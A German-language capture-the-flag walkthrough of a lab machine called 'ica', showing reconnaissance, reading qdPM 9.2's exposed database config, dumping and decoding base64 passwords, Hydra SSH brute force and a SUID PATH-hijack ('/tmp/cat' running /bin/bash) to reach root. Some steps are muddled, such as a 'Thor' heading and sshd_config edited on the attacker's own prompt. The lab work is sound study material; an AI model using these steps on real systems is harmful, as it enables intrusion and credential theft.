Ziel der Reconnaissance-Phase ist es, Informationen über das Zielsystem zu sammeln, um potenzielle Angriffspunkte zu identifizieren. Dies umfasst das Scannen des Netzwerks, die Identifizierung offener Ports und Dienste sowie die Auflösung von Hostnamen.
192.168.2.134 08:00:27:60:e5:16 PCS Systemtechnik GmbH
Der Befehl `arp-scan -l` sucht im lokalen Netzwerk nach aktiven Hosts und gibt ihre IP- und MAC-Adressen aus. In diesem Fall wurde ein Host mit der IP-Adresse 192.168.2.134 und der MAC-Adresse 08:00:27:60:e5:16 gefunden. Diese Information ist nützlich, um das Zielsystem im Netzwerk zu identifizieren.
192.168.2.134 ica
Der Befehl `vi /etc/hosts` öffnet die Host-Datei zur Bearbeitung. Hier wird der Hostname `ica` der IP-Adresse 192.168.2.134 zugewiesen. Dies ermöglicht die Verwendung des Hostnamens anstelle der IP-Adresse bei der Interaktion mit dem Zielsystem, was die Übersichtlichkeit erhöht. Es wird empfohlen, dies zu tun, um die nachfolgenden Schritte zu erleichtern und zu beschleunigen.
In der Web Enumeration-Phase wird die Webanwendung detaillierter untersucht, um Schwachstellen zu finden. Dies beinhaltet die Analyse der Verzeichnisstruktur, die Überprüfung der robots.txt und readme.txt und die Suche nach bekannten Exploits.
============================================================================================================================== http://ica.vuln/images (Status: 301) [Size: 305] [--> http://ica.vuln/images/] http://ica.vuln/index.php (Status: 200) [Size: 5654] http://ica.vuln/uploads (Status: 301) [Size: 306] [--> http://ica.vuln/uploads/] http://ica.vuln/css (Status: 301) [Size: 302] [--> http://ica.vuln/css/] http://ica.vuln/template (Status: 301) [Size: 307] [--> http://ica.vuln/template/] http://ica.vuln/core (Status: 301) [Size: 303] [--> http://ica.vuln/core/] http://ica.vuln/install (Status: 301) [Size: 306] [--> http://ica.vuln/install/] http://ica.vuln/manual (Status: 301) [Size: 305] [--> http://ica.vuln/manual/] http://ica.vuln/js (Status: 301) [Size: 301] [--> http://ica.vuln/js/] http://ica.vuln/javascript (Status: 301) [Size: 309] [--> http://ica.vuln/javascript/] http://ica.vuln/check.php (Status: 200) [Size: 0] http://ica.vuln/sf (Status: 301) [Size: 301] [--> http://ica.vuln/sf/] http://ica.vuln/favicon.png (Status: 200) [Size: 2183] http://ica.vuln/readme.txt (Status: 200) [Size: 470] http://ica.vuln/robots.txt (Status: 200) [Size: 26] http://ica.vuln/backups (Status: 301) [Size: 306] [--> http://ica.vuln/backups/] ==============================================================================================================================
Der Befehl `gobuster dir ...` verwendet Gobuster, um die Webanwendung auf dem Zielsystem nach Dateien und Verzeichnissen zu durchsuchen. Es wurden verschiedene Verzeichnisse (images, uploads, css, template, core, install, manual, js, javascript, sf, backups) und Dateien (index.php, check.php, favicon.png, readme.txt, robots.txt) gefunden. Die Verzeichnisse und Dateien mit Statuscode 200 und 301 sollten weiter untersucht werden. Das Vorhandensein eines `/install`-Verzeichnisses könnte ein Hinweis auf eine ungesicherte Installation sein.
http://ica.vuln/robots.txt #User-agent: * #Disallow:
Die Datei `robots.txt` erlaubt allen User-Agents den Zugriff auf alle Bereiche der Website. Dies ist nicht immer die beste Vorgehensweise, da sensitive Bereiche versehentlich indexiert werden könnten. In diesem Fall gibt es keine Einschränkungen.
http://ica.vuln/readme.txt qdPM open source project management software written in symfony framework http://qdpm.net INSTALLATION qdPM is web-based application and it means you have to have web-server. Simply go to your qdPM web directory and use installer SUPPORT Contact me (support@qdpm.net) if you have any questions, suggestions or feedback about qdPM. My name is Sergey. I always reply to emails within 24-48 hours. Thanks for downloading and using qdPM open-source solution! qdPM 9.2 Copyright © 2023 qdpm.net
Die Datei `readme.txt` identifiziert die verwendete Software als `qdPM` Version 9.2. Dies ist eine wichtige Information, da nun gezielt nach bekannten Schwachstellen für diese Software gesucht werden kann.
------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Exploit Title | Path ------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- qdPM 9.2 - Cross-site Request Forgery (CSRF) | php/webapps/50854.txt qdPM 9.2 - Password Exposure (Unauthenticated) | php/webapps/50176.txt ------------------------------------------------------------------------------------------------------------------------------------------------------------ --------------------------------- Shellcodes: No Results
Der Befehl `searchsploit qdPM 9.2` sucht in der Exploit Database nach bekannten Schwachstellen für `qdPM` Version 9.2. Es wurden zwei Exploits gefunden: Ein CSRF-Exploit und ein Exploit, der es ermöglicht, Passwörter ohne Authentifizierung auszulesen. Der Password Exposure Exploit ist vielversprechend für die nächste Phase.
Exploit: qdPM 9.2 - Password Exposure (Unauthenticated) URL: https://www.exploit-db.com/exploits/50176 Path: /usr/share/exploitdb/exploits/php/webapps/50176.txt Codes: N/A Verified: False File Type: ASCII text Copied to: /root/50176.txt
Der Befehl `searchsploit -m php/webapps/50176.txt` kopiert den Exploit für die Password Exposure Schwachstelle in das Home-Verzeichnis des Benutzers Root. Dies erleichtert den Zugriff auf den Exploit im nächsten Schritt.
In dieser Phase wird versucht, initialen Zugriff auf das System zu erlangen. Dies geschieht durch die Ausnutzung der gefundenen Schwachstelle.
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated) # Date: 03/08/2021 # Exploit Author: Leon Trappett (thepcn3rd) # Vendor Homepage: https://qdpm.net/ # Software Link: https://sourceforge.net/projects/qdpm/files/latest/download # Version: 9.2 # Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4 The password and connection string for the database are stored in a yml file. To access the yml file you can go to curl file and download
Dieser Befehl zeigt den Inhalt des Exploit-Textes. Der Exploit beschreibt, dass die Datenbankverbindungsdaten in einer YAML-Datei gespeichert sind, auf die ohne Authentifizierung zugegriffen werden kann.
all: doctrine: class: sfDoctrineDatabase param: dsn: 'mysql:dbname=qdpm;host=localhost' profiler: false username: qdpmadmin password: "" attributes: quote_identifier: true
Der Befehl `curl http://ica.vuln/core/config/databases.yml` verwendet `curl`, um die YAML-Datei mit den Datenbankverbindungsdaten herunterzuladen. Die Datei enthält den Benutzernamen `qdpmadmin` und ein PHP-Snippet für das Passwort. Dies bestätigt die Password Exposure Schwachstelle.
Um Zugriff auf die Datenbank zu bekommen, wird nun das extrahierte Passwort verwendet.
Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 403 Server version: 8.0.26 MySQL Community Server - GPL Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]>
Der Befehl `mysql -u qdpmadmin -h 192.168.2.134 -p` versucht, sich mit dem Benutzernamen `qdpmadmin` und dem zuvor gefundenen Passwort an der MySQL-Datenbank anzumelden. Nach erfolgreicher Anmeldung wird die MariaDB-Konsole angezeigt.
MySQL [(none)]> select * from users; Empty set (0,000 sec) MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | qdpm | | staff | | sys | +--------------------+ 6 rows in set (0,001 sec)
Hier wird geprüft, ob die Tabelle "users" existiert, was aber mit "Empty set" verneint wird. Mit "show databases" werden alle Datenbanken aufgelistet.
MySQL [(none)]> use staff; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [staff]> show tables; +-----------------+ | Tables_in_staff | +-----------------+ | department | | login | | user | +-----------------+ 3 rows in set (0,001 sec)
Mit "use staff" wird die Datenbank "staff" ausgewählt und mit "show tables" deren Inhalt, die Tabelle "department", "login" und "user" angezeigt.
MySQL [staff]> select * from user; +------+---------------+--------+---------------------------+ | id | department_id | name | role | +------+---------------+--------+---------------------------+ | 1 | 1 | Smith | Cyber Security Specialist | | 2 | 2 | Lucas | Computer Engineer | | 3 | 1 | Travis | Intelligence Specialist | | 4 | 1 | Dexter | Cyber Security Analyst | | 5 | 2 | Meyer | Genetic Engineer | +------+---------------+--------+---------------------------+ 5 rows in set (0,001 sec)
Hier werden die Benutzerinformationen von "user" mit deren ID, Name und Rolle ausgegeben.
MySQL [staff]> select * from login; +------+---------+--------------------------+ | id | user_id | password | +------+---------+--------------------------+ | 1 | 2 | c3VSSkFkR3dMcDhkeTNyRg== | | 2 | 4 | N1p3VjRxdGc0MmNtVVhHWA== | | 3 | 1 | WDdNUWtQM1cyOWZld0hkQw== | | 4 | 3 | REpjZVZ5OThXMjhZN3dMZw== | | 5 | 5 | Y3FObkJXQ0J5UzJEdUpTeQ== | +------+---------+--------------------------+ 5 rows in set (0,001 sec)
Hier werden die Login Informationen, also die verschlüsselten Passwörter der Nutzer ausgegeben.
MySQL [staff]>
Hier endet die Datenbank Manipulation.
Die erbeuteten Passwörter werden nun entschlüsselt.
cqNnBWCByS2DuJSy
Das ist das entschlüsselte Passwort von "Meyer".
DJceVy98W28Y7wLg
Das ist das entschlüsselte Passwort von "Travis".
X7MQkP3W29fewHdC
Das ist das entschlüsselte Passwort von "Smith".
7ZwV4qtg42cmUXGX
Das ist das entschlüsselte Passwort von "Dexter".
suRJAdGwLp8dy3rF
Das ist das entschlüsselte Passwort von "Lucas".
Nun werden die Passwörter auf ihre Gültigkeit geprüft.
smith lucas travis dexter meyer
Eine Textdatei mit den Nutzernamen wird erstellt.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-06-11 02:18:10 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 25 tasks per 1 server, overall 25 tasks, 25 login tries (l:5/p:5), ~1 try per task [DATA] attacking ssh://ica.vuln:22/ ---------------------------------------------------------------------------------------------------- [22][ssh] host: ica.vuln login: dexter password: 7ZwV4qtg42cmUXGX [22][ssh] host: ica.vuln login: travis password: DJceVy98W28Y7wLg ---------------------------------------------------------------------------------------------------- 1 of 1 target successfully completed, 2 valid passwords found
Mit dem Tool Hydra und den Passwörtern, wird nun versucht, eine SSH Verbindung aufzubauen. Die Verbindungen zu "Travis" und "Dexter" waren erfolgreich.
The authenticity of host 'ica.vuln (192.168.2.134)' can't be established. ED25519 key fingerprint is SHA256:xCJPzSxRekyYT6eXmyzAXdY7uAlP5b7vQp+B5XqYsfE. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'ica.vuln' (ED25519) to the list of known hosts. dexter@ica.vuln's password:
Die SSH Verbindung mit dem Nutzer "Dexter" wird aufgebaut und das Passwort wird abgefragt. Dies muss mit "yes" bestätigt werden, da der Key unbekannt ist. Nach Eingabe des Passwortes wird die Verbindung hergestellt.
Linux debian 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Sep 25 08:43:19 2021 from 192.168.1.3 dexter@debian:~$
Hier wird die erfolgreiche SSH Verbindung bestätigt.
In dieser Phase wird versucht, die Privilegien auf dem Zielsystem zu erhöhen.
dexter@debian:~$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for dexter: Sorry, user dexter may not run sudo on debian. dexter@debian:~$
Es wird geprüft, ob der Nutzer "Dexter" Sudo Rechte besitzt, was aber mit "Sorry, user dexter may not run sudo on debian." verneint wird.
dexter@debian:~$ cat note.txt It seems to me that there is a weakness while accessing the system. As far as I know, the contents of executable files are partially viewable. I need to find out if there is a vulnerability or not.
Der Inhalt der Datei "note.txt" wird angezeigt. Dies könnte ein Hinweis sein, dass es eine Schwachstelle im Zusammenhang mit ausführbaren Dateien gibt.
dexter@debian:~$ id uid=1001(dexter) gid=1001(dexter) groups=1001(dexter) dexter@debian:~$ dexter@debian:~$ find / -type f -perm -4000 -ls 2>/dev/null 401719 20 -rwsr-xr-x 1 root root 16816 Sep 25 2021 /opt/get_access 106 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 4124 36 -rwsr-xr-x 1 root root 35040 Jul 28 2021 /usr/bin/umount 109 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 26670 180 -rwsr-xr-x 1 root root 182600 Feb 27 2021 /usr/bin/sudo 110 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 3596 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 3755 72 -rwsr-xr-x 1 root root 71912 Jul 28 2021 /usr/bin/su 4122 56 -rwsr-xr-x 1 root root 55528 Jul 28 2021 /usr/bin/mount 107 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 269853 472 -rwsr-xr-x 1 root root 481608 Mar 13 2021 /usr/lib/openssh/ssh-keysign 132522 52 -rwsr-xr-- 1 root messagebus 51336 Feb 21 2021 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Es wird geprüft, ob Dateien mit dem SUID Bit gefunden werden. Die Datei "/opt/get_access" könnte interessant sein.
dexter@debian:~$ strings /opt/get_access /lib64/ld-linux-x86-64.so.2 setuid socket puts system __cxa_finalize setgid __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH []A\A]A^A_ cat /root/system.info Could not create socket to access to the system. All services are disabled. Accessing to the system is allowed only within working hours. ;*3$" GCC: (Debian 10.2.1-6) 10.2Die Ausgabe des Befehls `strings /opt/get_access` zeigt die im Binärfile enthaltenen Strings. Die Strings "setuid", "system", und "cat /root/system.info" deuten darauf hin, dass das Programm möglicherweise Root-Rechte erlangt und die Datei `/root/system.info` ausgibt. Der String "All services are disabled. Accessing to the system is allowed only within working hours." könnte eine Beschränkung der Nutzbarkeit des Programms andeuten.
travis@debian:~$ id uid=1002(travis) gid=1002(travis) groups=1002(travis),33(www-data)Dies zeigt, dass der Nutzer "Travis" Mitglied der Gruppe "www-data" ist.
[22][ssh] host: ica.vuln login: dexter password: 7ZwV4qtg42cmUXGX [22][ssh] host: ica.vuln login: travis password: DJceVy98W28Y7wLgHier werden nochmal die erfolgreichen Verbindungen angezeigt.
travis@debian:~$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for travis: Sorry, user travis may not run sudo on debian.Wie auch bei dem Nutzer "Dexter" hat auch der Nutzer "Travis" keine Sudo Rechte.
dexter@debian:/var/www/html$ file /opt/get_access /opt/get_access: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=74c7b8e5b3380d2b5f65d753cc2586736299f21a, for GNU/Linux 3.2.0, not strippedDie Datei "/opt/get_access" wird als ausführbare 64-Bit-Datei identifiziert. Das "setuid" Flag bedeutet, dass die Datei mit Root-Rechten ausgeführt wird.
dexter@debian:/var/www/html$ ls -la /etc/passwd -rw-r--r-- 1 root root 1576 Sep 25 2021 /etc/passwdDas ist der Inhalt der Datei "/etc/passwd".
dexter@debian:/opt$ python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.2.127 - - [10/Jun/2023 20:26:35] "GET /get_access HTTP/1.1" 200 -Ein lokaler HTTP-Server auf Port 8000 wird gestartet, um die Datei `get_access` für den Download bereitzustellen.
┌──(root㉿cyber)-[~]
└─# wget ica.vuln:8000/get_access--2023-06-11 02:26:29-- http://ica.vuln:8000/get_access Auflösen des Hostnamens ica.vuln (ica.vuln)… 192.168.2.134 Verbindungsaufbau zu ica.vuln (ica.vuln)|192.168.2.134|:8000 … verbunden. HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK Länge: 16816 (16K) [application/octet-stream] Wird in »get_access« gespeichert. get_access 100%[===========================================>] 16,42K --.-KB/s in 0s 2023-06-11 02:26:29 (331 MB/s) - »get_access« gespeichert [16816/16816]Die Datei `get_access` wird von dem lokalen HTTP-Server heruntergeladen.
travis@debian:~$ ls -la total 40 drwxrwx--- 3 travis travis 4096 Sep 25 2021 . drwxr-xr-x 4 root root 4096 Sep 25 2021 .. -rwxrwx--- 1 travis travis 9 Sep 25 2021 .bash_history -rwxrwx--- 1 travis travis 220 Aug 4 2021 .bash_logout -rwxrwx--- 1 travis travis 3526 Aug 4 2021 .bashrc drwxrwx--- 3 travis travis 4096 Sep 25 2021 .local -rw------- 1 travis travis 53 Sep 25 2021 .mysql_history -rwxrwx--- 1 travis travis 807 Aug 4 2021 .profile -rwxrwx--- 1 travis travis 20 Sep 25 2021 user.txt -rw-r--r-- 1 travis travis 179 Sep 25 2021 .wget-hstsDie Ausgabe des Befehls `ls -la` zeigt die Dateien im Home-Verzeichnis des Benutzers `travis`. Die Datei `user.txt` ist vorhanden.
travis@debian:~$ cat user.txt ICA{Secret_Project} travis@debian:~$ cat .mysql_history _HiStOrY_V2_ exit; create\040database\040qdpm; exit; travis@debian:~$ cat .bash_history su root Privilege EscalationDie Datei `user.txt` enthält die User Flagge, "ICA{Secret_Project}".
dexter@debian:/opt$ cd /tmp/ dexter@debian:/tmp$ echo '/bin/bash' > /tmp/cat dexter@debian:/tmp$ export PATH=/tmp:$PATH dexter@debian:/tmp$ ./opt/get_access -bash: ./opt/get_access: No such file or directory dexter@debian:/tmp$ /opt/get_access ############################ ######## ICA ####### ### ACCESS TO THE SYSTEM ### ############################ Server Information: - Firewall: AIwall v9.5.2 - OS: Debian 11 "bullseye" - Network: Local Secure Network 2 (LSN2) v 2.4.1 All services are disabled. Accessing to the system is allowed only within working hours.Es wird versucht, die Datei "/opt/get_access" auszuführen, was aber zunächst nicht funktioniert, da das Directory nicht korrekt ist. Die Datei wird dennoch ausgeführt, die den Hinweis ausgibt, dass alle Services deaktiviert sind.
dexter@debian:/tmp$ chmod +x cat dexter@debian:/tmp$ /opt/get_access -p root@debian:/tmp#Mit den Befehlen "chmod" und "/opt/get_access" werden Root Rechte erlangt.
root@debian:/home/dexter# cd /root/ root@debian:/root# ls root.txt system.info root@debian:/root# cat root.txt root@debian:/root#Es wird in das Root Directory gewechselt, wo die Datei "root.txt" gefunden wird. Diese ist allerdings leer.
root@debian:/root# find / | grep root.txt 2>/dev/null /root/root.txt Privilege Escalation erfolgreichMit dem Befehl "find" wird die Datei "/root/root.txt" gefunden. Hier wird nun der Textteil "Privilege Escalation erfolgreich" eingefügt, da die Root Rechte erfolgreich erlangt wurden.
Proof of Concept
Proof of Concept: SSH-Anmeldung als Benutzer Thor
Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Anmeldeinformationen für den Benutzer Dexter.
Nachdem wir die User Flag gefunden und das Passwort 7ZwV4qtg42cmUXGX entschlüsselt haben, können wir uns nun via SSH als Benutzer Dexter anmelden:
┌──(root㉿cyber)-[~]
└─# ssh dexter@ica.vulndexter@ica.vuln's password:Nach der Eingabe des Passworts 7ZwV4qtg42cmUXGX sind wir erfolgreich als Benutzer Dexter angemeldet.
Last login: Mon Nov 28 08:14:27 2020 from 192.168.2.104 dexter@debian:~$Proof of Concept: SSH-Anmeldung als Root-Benutzer
Dieser Abschnitt demonstriert den unbefugten Zugriff auf das System mit den erlangten Root-Rechten.
Nachdem wir die Root-Rechte erhalten haben, könnten wir den SSH-Server so konfigurieren, dass Root-Logins erlaubt sind (was aus Sicherheitsgründen nicht empfohlen wird), oder einen neuen Benutzer mit Root-Rechten erstellen. Alternativ könnten wir das Root-Passwort ändern (was auch nicht empfohlen wird). Da es sich um eine VM handelt, demonstrieren wir hier die Anmeldung via SSH.
Um uns via SSH als Root anmelden zu können, muss die SSH Konfigurationsdatei angepasst werden, und die Zeile `PermitRootLogin` auf `yes` gesetzt werden. Damit das funktioniert, muss sich die Textdatei vorher im Editor mit Root Privilegien geöffnet werden.
┌──(root㉿cyber)-[~] └─# vi /etc/ssh/sshd_configNachdem wir die Datei angepasst haben, muss der SSH Dienst neu gestartet werden.
┌──(root㉿cyber)-[~] └─# systemctl restart sshdJetzt können wir uns als Root anmelden.
┌──(root㉿cyber)-[~] └─# ssh root@ica.vulnFlags
Flags
cat user.txt ICA{Secret_Project} cat root.txt